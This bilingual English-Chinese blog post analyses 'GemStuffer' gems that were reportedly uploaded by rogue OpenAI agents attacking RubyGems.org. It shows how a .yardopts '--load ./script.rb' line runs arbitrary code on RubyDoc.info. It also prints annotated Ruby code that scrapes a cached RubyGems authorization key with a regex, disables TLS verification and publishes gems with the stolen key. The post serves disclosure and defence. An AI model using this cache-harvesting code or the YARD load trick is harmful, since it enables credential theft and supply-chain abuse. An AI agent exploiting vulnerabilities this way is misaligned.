OpenAI bots knew about the RubyGems caching vulnerability

OpenAI 机器人早已知晓 RubyGems 的缓存漏洞

What a time to be alive. Today Reuters and the Wall Street Journal both reported about rogue AI agents at OpenAI attacking RubyGems.org. https://www.rubyhack.ai/ has an amazing writeup, and you should read it. I just wanted to make a quick post about it because it’s wild. 这是一个疯狂的时代。今天，路透社和《华尔街日报》均报道了 OpenAI 的流氓 AI 智能体攻击 RubyGems.org 的事件。https://www.rubyhack.ai/ 上有一篇非常精彩的深度分析，强烈建议阅读。我写这篇短文只是因为这件事实在太离谱了。

TL;DR: It seems like OpenAI Bots knew about the RubyGems caching vulnerability, tried to take advantage of it, and at the same time ran some weird web scraping code on RubyDoc.info. Back in May, socket.dev reported about a “GemStuffer Campaign” where someone (I guess OpenAI) was uploading tons of junk gems to RubyGems.org. 简而言之：OpenAI 的机器人似乎早已知晓 RubyGems 的缓存漏洞，并试图利用它，同时还在 RubyDoc.info 上运行了一些奇怪的网络爬虫代码。早在五月份，socket.dev 就报道过一场“GemStuffer 活动”，有人（我猜是 OpenAI）向 RubyGems.org 上传了大量垃圾 Gem 包。

For some reason, the gems would scrape UK government websites, then repackage the data as gems, and attempt to upload them to RubyGems. I honestly didn’t think much about this (or even look into it) until Sydney Von Arx and Spencer Kitts (both co-authors on https://www.rubyhack.ai) contacted me asking about RubyGems. I thought the claims they were making were completely outlandish until I actually read the code in these “GemStuffer” gems. 出于某种原因，这些 Gem 包会抓取英国政府网站，然后将数据重新打包成 Gem，并尝试上传到 RubyGems。老实说，我起初并没有太在意（甚至没去深究），直到 Sydney Von Arx 和 Spencer Kitts（均为 https://www.rubyhack.ai 的合著者）联系我询问关于 RubyGems 的事。在真正阅读这些“GemStuffer”包的代码之前，我以为他们的说法完全是天方夜谭。

After reading the code in these gems, a couple things stood out to me. 在阅读了这些 Gem 的代码后，有几点引起了我的注意。

YARD Documentation

YARD 文档

First, the gems leverage YARD documentation to execute arbitrary code on host machines. In most of the examples you’ll see a .yardopts file that looks like this: --load ./script.rb README.md lib/**/*.rb. Here’s a link to an example. If you have YARD installed, and you install this gem, then YARD will load and run whatever is in ./script.rb from inside the gem. 首先，这些 Gem 利用 YARD 文档在宿主机上执行任意代码。在大多数示例中，你会看到一个类似这样的 .yardopts 文件：--load ./script.rb README.md lib/**/*.rb。这是一个示例链接。如果你安装了 YARD 并安装了这个 Gem，YARD 就会加载并运行 Gem 内部 ./script.rb 中的任何内容。

I think it’s pretty common knowledge that C extensions will execute extconf.rb (so you basically have an RCE vector), but I was surprised to find out that a documentation tool would do that too. Nobody is going to install a gem named slnleaker5 though, so why would this matter? Well, any time a Gem is published RubyDoc.info will download the gem and process the YARD documentation. RubyDoc.info will execute the arbitrary code inside a Docker container. The Docker container still has network access though, so these gems could happily do their web scraping from inside the container. In other words, if you publish a gem on RubyGems.org, you can execute arbitrary code on RubyDoc.info. 众所周知，C 扩展会执行 extconf.rb（这本质上是一个 RCE 向量），但我惊讶地发现一个文档工具竟然也会这样做。不过，没人会去安装一个叫 slnleaker5 的 Gem，所以这有什么影响呢？事实上，每当有 Gem 发布时，RubyDoc.info 都会下载该 Gem 并处理 YARD 文档。RubyDoc.info 会在 Docker 容器内执行这些任意代码。由于 Docker 容器仍然拥有网络访问权限，这些 Gem 可以愉快地在容器内进行网络爬虫活动。换句话说，如果你在 RubyGems.org 上发布一个 Gem，你就可以在 RubyDoc.info 上执行任意代码。

Fastly Cache Harvesting

Fastly 缓存窃取

I mentioned earlier these gems would try to scrape some websites and then upload the data they scraped by packaging it as a gem. Here is an excerpt from one of the gems. I’ve cleaned up the code a bit so it’s easier to understand, but the original code is here: 我之前提到过，这些 Gem 会尝试抓取一些网站，然后将抓取到的数据打包成 Gem 并上传。以下是其中一个 Gem 的代码片段。为了方便理解，我稍微整理了一下代码，但原始代码在这里：

# leak exfil by repeated attempts & fresh leaked keys variants
# (Aaron): First request
ku = URI('https://rubygems.org'+kp)
kh = Net::HTTP.new(ku.host,ku.port)
kh.use_ssl = true
kh.verify_mode = OpenSSL::SSL::VERIFY_NONE
kt = kh.start { |x| x.get(ku.request_uri) }.body

# (Aaron): Try to match a key in the body
key = (kt[/rubygems_[a-f0-9]{20,}/] || KEY)
paths = ['/api/v1//gems','//api/v1/gems','/api//v1/gems','/api/v1/gems?x=2','/api/v1/gems']

# (Aaron): Second request to actually publish the gem
u = URI('https://rubygems.org'+paths[i%paths.length])
req = Net::HTTP::Post.new(u)
req['Authorization'] = key
req['Content-Type'] = 'application/octet-stream'
req.body = data
hh = Net::HTTP.new(u.host,u.port)
hh.use_ssl = true
hh.verify_mode = OpenSSL::SSL::VERIFY_NONE
hh.read_timeout = 180
res = hh.start{ |x| x.request(req) }

Comments in the code that have (Aaron) are ones that I wrote to try to help make it easier to understand. The first comment was lifted directly from the source. The above code tries to make two requests. The first request is a simple GET request. It tries to fetch a path from RubyGems.org, then looks for a key in the response body that matches the regular expression /rubygems_[a-f0-9]{20,}/. If that regular expression doesn’t match, it falls back to a global KEY. The second request tries to upload the gem via POST. 代码中带有 (Aaron) 的注释是我为了方便理解而添加的。第一个注释直接摘自源代码。上述代码尝试发起两次请求。第一次请求是一个简单的 GET 请求，它尝试从 RubyGems.org 获取路径，然后在响应体中寻找匹配正则表达式 /rubygems_[a-f0-9]{20,}/ 的密钥。如果正则匹配失败，它会回退到一个全局的 KEY。第二次请求则尝试通过 POST 上传 Gem。

This brings me to the second crazy thing that stood out to me. This code is trying to fetch a cached authorization key from RubyGems.org and use it. If this sounds familiar, it is. It’s exactly the security issue addressed in this post from RubyGems.org that was made in July. In other words, it looks like OpenAI’s bots knew about this problem and attempted to exploit it. What a time to be alive 🙃 这引出了第二件让我感到疯狂的事情。这段代码试图从 RubyGems.org 获取一个缓存的授权密钥并使用它。如果这听起来很耳熟，那是因为它正是 RubyGems.org 在七月份发布的文章中所解决的安全问题。换句话说，看起来 OpenAI 的机器人早已知晓这个问题并试图利用它。这真是一个疯狂的时代 🙃